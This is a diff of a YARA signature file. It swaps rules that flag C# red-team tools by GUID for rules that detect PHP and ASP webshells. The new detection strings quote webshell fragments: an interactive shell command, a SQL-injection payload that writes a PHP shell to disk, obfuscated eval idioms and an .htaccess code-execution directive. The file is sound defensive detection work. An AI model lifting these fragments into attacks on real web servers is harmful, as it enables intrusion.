-		$typelibguid3up = "88D3DC02-2853-4BF0-B6DC-AD31F5135D26" ascii wide
+		$backtick = /`\s*\{?\$(_POST\[|_GET\[|_REQUEST\[|_SERVER\['HTTP_)/ wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $backtick and filesize <200
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Solarflare : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Backticks_OBFUSC : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic PHP webshell which uses backticks directly on user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3645e14c-6025-59fa-a5a2-d8dacba8cd94"
-		date = "2020-12-15"
-		modified = "2023-04-06"
-		reference = "https://github.com/mubix/solarflare"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2515-L2529"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e35c57795ce3adaab52cba23a6d845617fed6c94dd1df048dcaa115086c513c"
+		id = "5ecb329f-0755-536d-8bfa-e36158474a0b"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2476-L2522"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "23dc299f941d98c72bd48659cdb4673f5ba93697"
+		hash = "e3f393a1530a2824125ecdd6ac79d80cfb18fffb89f470d687323fb5dff0eec1"
+		hash = "1e75914336b1013cc30b24d76569542447833416516af0d237c599f95b593f9b"
+		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+		logic_hash = "34354283762d6f62a4537e914d969f84546339da9be533e209d8738605b7e3ac"
 		score = 75
-		quality = 85
+		quality = 44
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "ca60e49e-eee9-409b-8d1a-d19f1d27b7e4" ascii wide
-		$typelibguid0up = "CA60E49E-EEE9-409B-8D1A-D19F1D27B7E4" ascii wide
+		$s1 = /echo[\t ]{0,500}\(?`\$/ wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $s1
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Snaffler : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_By_String_Known_Webshell : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d4b9a8c5-e0d9-5c85-af81-05f6e0f52bff"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SnaffCon/Snaffler"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2531-L2547"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "13711b325cadf882be0aeb1073084193c73b9eec0f3a323d0cea9beeeb3d3cf5"
-		score = 75
-		quality = 85
+		id = "05ac0e0a-3a19-5c60-b89a-4a300d8c22e7"
+		date = "2021-01-09"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2524-L2658"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d889da22893536d5965541c30896f4ed4fdf461d"
+		hash = "10f4988a191774a2c6b85604344535ee610b844c1708602a355cf7e9c12c3605"
+		hash = "7b6471774d14510cf6fa312a496eed72b614f6fc"
+		hash = "decda94d40c3fd13dab21e197c8d05f48020fa498f4d0af1f60e29616009e9bf"
+		hash = "ef178d332a4780e8b6db0e772aded71ac1a6ed09b923cc359ba3c4efdd818acc"
+		hash = "a7a937c766029456050b22fa4218b1f2b45eef0db59b414f79d10791feca2c0b"
+		hash = "e7edd380a1a2828929fbde8e7833d6e3385f7652ea6b352d26b86a1e39130ee8"
+		hash = "0038946739956c80d75fa9eeb1b5c123b064bbb9381d164d812d72c7c5d13cac"
+		hash = "3a7309bad8a5364958081042b5602d82554b97eca04ee8fdd8b671b5d1ddb65d"
+		hash = "a78324b9dc0b0676431af40e11bd4e26721a960c55e272d718932bdbb755a098"
+		hash = "a27f8cd10cedd20bff51e9a8e19e69361cc8a6a1a700cc64140e66d160be1781"
+		hash = "9bbd3462993988f9865262653b35b4151386ed2373592a1e2f8cf0f0271cdb00"
+		hash = "459ed1d6f87530910361b1e6065c05ef0b337d128f446253b4e29ae8cc1a3915"
+		hash = "12b34d2562518d339ed405fb2f182f95dce36d08fefb5fb67cc9386565f592d1"
+		hash = "96d8ca3d269e98a330bdb7583cccdc85eab3682f9b64f98e4f42e55103a71636"
+		hash = "312ee17ec9bed4278579443b805c0eb75283f54483d12f9add7d7d9e5f9f6105"
+		hash = "15c4e5225ff7811e43506f0e123daee869a8292fc8a38030d165cc3f6a488c95"
+		hash = "0c845a031e06925c22667e101a858131bbeb681d78b5dbf446fdd5bca344d765"
+		hash = "d52128bcfff5e9a121eab3d76382420c3eebbdb33cd0879fbef7c3426e819695"
+		logic_hash = "22b6d58e24748933792c29b63c4f68c08b86c17a2751fbef5b93bc06c8c5341d"
+		score = 70
+		quality = 17
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "2aa060b4-de88-4d2a-a26a-760c1cefec3e" ascii wide
-		$typelibguid0up = "2AA060B4-DE88-4D2A-A26A-760C1CEFEC3E" ascii wide
-		$typelibguid1lo = "b118802d-2e46-4e41-aac7-9ee890268f8b" ascii wide
-		$typelibguid1up = "B118802D-2E46-4E41-AAC7-9EE890268F8B" ascii wide
+		$pbs1 = "b374k shell" wide ascii
+		$pbs2 = "b374k/b374k" wide ascii
+		$pbs3 = "\"b374k" wide ascii
+		$pbs4 = "$b374k(\"" wide ascii
+		$pbs5 = "b374k " wide ascii
+		$pbs6 = "0de664ecd2be02cdd54234a0d1229b43" wide ascii
+		$pbs7 = "pwnshell" wide ascii
+		$pbs8 = "reGeorg" fullword wide ascii
+		$pbs9 = "Georg says, 'All seems fine" fullword wide ascii
+		$pbs10 = "My PHP Shell - A very simple web shell" wide ascii
+		$pbs11 = "<title>My PHP Shell <?echo VERSION" wide ascii
+		$pbs12 = "F4ckTeam" fullword wide ascii
+		$pbs15 = "MulCiShell" fullword wide ascii
+		$pbs30 = "bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww" wide ascii
+		$pbs35 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
+		$pbs36 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_POST\s?\[\d\]\)/ wide ascii
+		$pbs37 = /@\$_POST\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
+		$pbs38 = /@\$_POST\[\d\]\)\.@\$_\(\$_POST\[\d\]\)/ wide ascii
+		$pbs39 = /@\$_REQUEST\[\d\]\)\.@\$_\(\$_REQUEST\[\d\]\)/ wide ascii
+		$pbs42 = "array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\")" wide ascii
+		$pbs43 = "$_SERVER[\"\\x48\\x54\\x54\\x50" wide ascii
+		$pbs52 = "preg_replace(\"/[checksql]/e\""
+		$pbs53 = "='http://www.zjjv.com'"
+		$pbs54 = "=\"http://www.zjjv.com\""
+		$pbs60 = /setting\["AccountType"\]\s?=\s?3/
+		$pbs61 = "~+d()\"^\"!{+{}"
+		$pbs62 = "use function \\eval as "
+		$pbs63 = "use function \\assert as "
+		$pbs64 = "eval(`/*" wide ascii
+		$pbs65 = "/* Reverse engineering of this file is strictly prohibited. File protected by copyright law and provided under license. */" wide ascii
+		$pbs66 = "Tas9er" fullword wide ascii
+		$pbs67 = "\"TSOP_\";" fullword wide ascii
+		$pbs68 = "str_rot13('nffreg')" wide ascii
+		$pbs69 = "<?=`{$'" wide ascii
+		$pbs70 = "{'_'.$_}[\"_\"](${'_'.$_}[\"_" wide ascii
+		$pbs71 = "\"e45e329feb5d925b\"" wide ascii
+		$pbs72 = "| PHP FILE MANAGER" wide ascii
+		$pbs73 = "\neval(htmlspecialchars_decode(gzinflate(base64_decode($" wide ascii
+		$pbs74 = "/*\n\nShellindir.org\n\n*/" wide ascii
+		$pbs75 = "$shell = 'uname -a; w; id; /bin/sh -i';" wide ascii
+		$pbs76 = "'password' . '/' . 'id' . '/' . " wide ascii
+		$pbs77 = "= create_function /*" wide ascii
+		$pbs78 = "W3LL M!N! SH3LL" wide ascii
+		$pbs79 = "extract($_REQUEST)&&@$" wide ascii
+		$pbs80 = "\"P-h-p-S-p-y\"" wide ascii
+		$pbs81 = "\\x5f\\x72\\x6f\\x74\\x31\\x33" wide ascii
+		$pbs82 = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f" wide ascii
+		$pbs83 = "*/base64_decode/*" wide ascii
+		$pbs84 = "\n@eval/*" wide ascii
+		$pbs85 = "*/eval/*" wide ascii
+		$pbs86 = "*/ array /*" wide ascii
+		$pbs87 = "2jtffszJe" wide ascii
+		$pbs88 = "edocne_46esab" wide ascii
+		$pbs89 = "eval($_HEADERS" wide ascii
+		$pbs90 = ">Infinity-Sh3ll<" ascii
+		$front1 = "<?php eval(" nocase wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <1000KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( any of ($pbs*) or $front1 in (0..60))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshares : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Strings_SUSP : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "typical webshell strings, suspicious"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e96aa79b-1da2-5b0c-9ac2-b6e201e06ec6"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/SharpShares/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2549-L2563"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ff3dd2c1facaeefcfd7f784c4dae15a66ff5ba1de33bb007dbc8cc91c38c29e"
-		score = 75
-		quality = 85
+		id = "25f25df5-4398-562b-9383-e01ccb17e8de"
+		date = "2021-01-12"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2660-L2746"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0dd568dbe946b5aa4e1d33eab1decbd71903ea04"
+		hash = "dde2bdcde95730510b22ae8d52e4344997cb1e74"
+		hash = "499db4d70955f7d40cf5cbaf2ecaf7a2"
+		hash = "281b66f62db5caab2a6eb08929575ad95628a690"
+		hash = "1ab3ae4d613b120f9681f6aa8933d66fa38e4886"
+		logic_hash = "5c3837ab761ee2209fab5fc333b050a56d80addb03b088ae28040c7393429bb3"
+		score = 50
+		quality = 40
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "fe9fdde5-3f38-4f14-8c64-c3328c215cf2" ascii wide
-		$typelibguid0up = "FE9FDDE5-3F38-4F14-8C64-C3328C215CF2" ascii wide
+		$sstring1 = "eval(\"?>\"" nocase wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$inp1 = "php://input" wide ascii
+		$inp2 = /_GET\s?\[/ wide ascii
+		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+		$inp4 = /_POST\s?\[/ wide ascii
+		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+		$inp6 = /_REQUEST\s?\[/ wide ascii
+		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+		$inp15 = "_SERVER['HTTP_" wide ascii
+		$inp16 = "_SERVER[\"HTTP_" wide ascii
+		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+		$inp18 = "array_values($_SERVER)" wide ascii
+		$inp19 = /file_get_contents\("https?:\/\// wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not ( any of ($gfp*)) and (1 of ($sstring*) and ( any of ($inp*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpedrchecker : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_In_Htaccess : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Use Apache .htaccess to execute php code inside .htaccess"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f7ff344e-f8ee-5c3a-bdd1-de3cae8e7dfb"
-		date = "2020-12-18"
-		modified = "2023-04-06"
-		reference = "https://github.com/PwnDexter/SharpEDRChecker"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2565-L2579"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9da3ff753db6358029f1fdcb100bf6173d142096557c170ddcb3ac9b8c80b310"
+		id = "0f5edff9-22b2-50c9-ae81-72698ea8e7db"
+		date = "2021-01-07"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2748-L2770"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
+		hash = "d79e9b13a32a9e9f3fa36aa1a4baf444bfd2599a"
+		hash = "e1d1091fee6026829e037b2c70c228344955c263"
+		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
+		hash = "8c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2"
+		logic_hash = "0652a4cb0cb6c61afece5c2e4cbf2f281714509f0d828047f2e3ccd411602115"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "bdfee233-3fed-42e5-aa64-492eb2ac7047" ascii wide
-		$typelibguid0up = "BDFEE233-3FED-42E5-AA64-492EB2AC7047" ascii wide
+		$hta = "AddType application/x-httpd-php .htaccess" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and $hta
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcliphistory : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Function_Via_Get : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell which sends eval/assert via GET"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "89ca4717-a4ec-5371-8dc3-bdb9933384af"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FSecureLABS/SharpClipHistory"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2581-L2595"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c88179f7b32cc4300f7ed85472247f91d812e523d07f4a11dc4e4b34344be1d"
+		id = "5fef1063-2f9f-516e-86f6-cfd98bb05e6e"
+		date = "2021-01-09"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2772-L2816"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ce739d65c31b3c7ea94357a38f7bd0dc264da052d4fd93a1eabb257f6e3a97a6"
+		hash = "d870e971511ea3e082662f8e6ec22e8a8443ca79"
+		hash = "73fa97372b3bb829835270a5e20259163ecc3fdbf73ef2a99cb80709ea4572be"
+		logic_hash = "309203db8e7374531d359e3a723418d47bead45034c4a7bd726fb714622dc039"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "1126d5b4-efc7-4b33-a594-b963f107fe82" ascii wide
-		$typelibguid0up = "1126D5B4-EFC7-4B33-A594-B963F107FE82" ascii wide
+		$sr0 = /\$_GET\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
+		$sr1 = /\$_POST\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
+		$sr2 = /\$_POST\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
+		$sr3 = /\$_GET\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
+		$sr4 = /\$_REQUEST\s?\[.{1,30}\]\(\$_REQUEST\s?\[/ wide ascii
+		$sr5 = /\$_SERVER\s?\[HTTP_.{1,30}\]\(\$_SERVER\s?\[HTTP_/ wide ascii
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500KB and not ( any of ($gfp*)) and any of ($sr*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpo_Remoteaccesspolicies : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Writer : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which only writes an uploaded file to disk"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "642c2672-2327-5a4a-af91-6e0559996908"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2597-L2611"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d6f74ef8d34603502b26b60a1042dd531891088b9455f068bccaabaf12232b1"
-		score = 75
-		quality = 85
+		id = "05bb3e0c-69b2-5176-a3eb-e6ba2d72a205"
+		date = "2021-04-17"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2818-L2908"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ec83d69512aa0cc85584973f5f0850932fb1949fb5fb2b7e6e5bbfb121193637"
+		hash = "407c15f94a33232c64ddf45f194917fabcd2e83cf93f38ee82f9720e2635fa64"
+		hash = "988b125b6727b94ce9a27ea42edc0ce282c5dfeb"
+		hash = "0ce760131787803bbef216d0ee9b5eb062633537"
+		hash = "20281d16838f707c86b1ff1428a293ed6aec0e97"
+		logic_hash = "34bae0c02156d1c9fd24d674443322409eba0a43e094fc6c05df94bbbe15aa64"
+		score = 50
+		quality = 42
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "fbb1abcf-2b06-47a0-9311-17ba3d0f2a50" ascii wide
-		$typelibguid0up = "FBB1ABCF-2B06-47A0-9311-17BA3D0F2A50" ascii wide
+		$sus3 = "'upload'" wide ascii
+		$sus4 = "\"upload\"" wide ascii
+		$sus5 = "\"Upload\"" wide ascii
+		$sus6 = "gif89" wide ascii
+		$sus16 = "Army" fullword wide ascii
+		$sus17 = "error_reporting( 0 )" wide ascii
+		$sus18 = "' . '" wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$inp1 = "php://input" wide ascii
+		$inp2 = /_GET\s?\[/ wide ascii
+		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+		$inp4 = /_POST\s?\[/ wide ascii
+		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+		$inp6 = /_REQUEST\s?\[/ wide ascii
+		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+		$inp15 = "_SERVER['HTTP_" wide ascii
+		$inp16 = "_SERVER[\"HTTP_" wide ascii
+		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+		$inp18 = "array_values($_SERVER)" wide ascii
+		$inp19 = /file_get_contents\("https?:\/\// wide ascii
+		$php_multi_write1 = "fopen(" wide ascii
+		$php_multi_write2 = "fwrite(" wide ascii
+		$php_write1 = "move_uploaded_file" fullword wide ascii
+		$php_write2 = "copy" fullword wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($inp*)) and ( any of ($php_write*) or all of ($php_multi_write*)) and ( filesize <400 or ( filesize <4000 and 1 of ($sus*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Absinthe : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Writer : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell which only writes an uploaded file to disk"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8f25593b-b9d2-5807-b299-b039ecfd43a5"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/cameronhotchkies/Absinthe"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2613-L2627"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6736024464a7b7115f8b66ff985a47107cbdd7d6260e56586ade467b3ca6c2a"
-		score = 75
-		quality = 85
+		id = "a1310e22-f485-5f06-8f1a-4cf9ae8413a1"
+		date = "2021-03-07"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L2910-L3080"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "df6eaba8d643c49c6f38016531c88332e80af33c"
+		hash = "83642a926291a499916e8c915dacadd0d5a8b91f"
+		hash = "5417fad68a6f7320d227f558bf64657fe3aa9153"
+		hash = "97d9f6c411f54b56056a145654cd00abca2ff871"
+		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
+		logic_hash = "7c9f4c9a5005efad02760cf9ba3ea946068ae281cda10215bf8c88f209b582a5"
+		score = 60
+		quality = -125
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
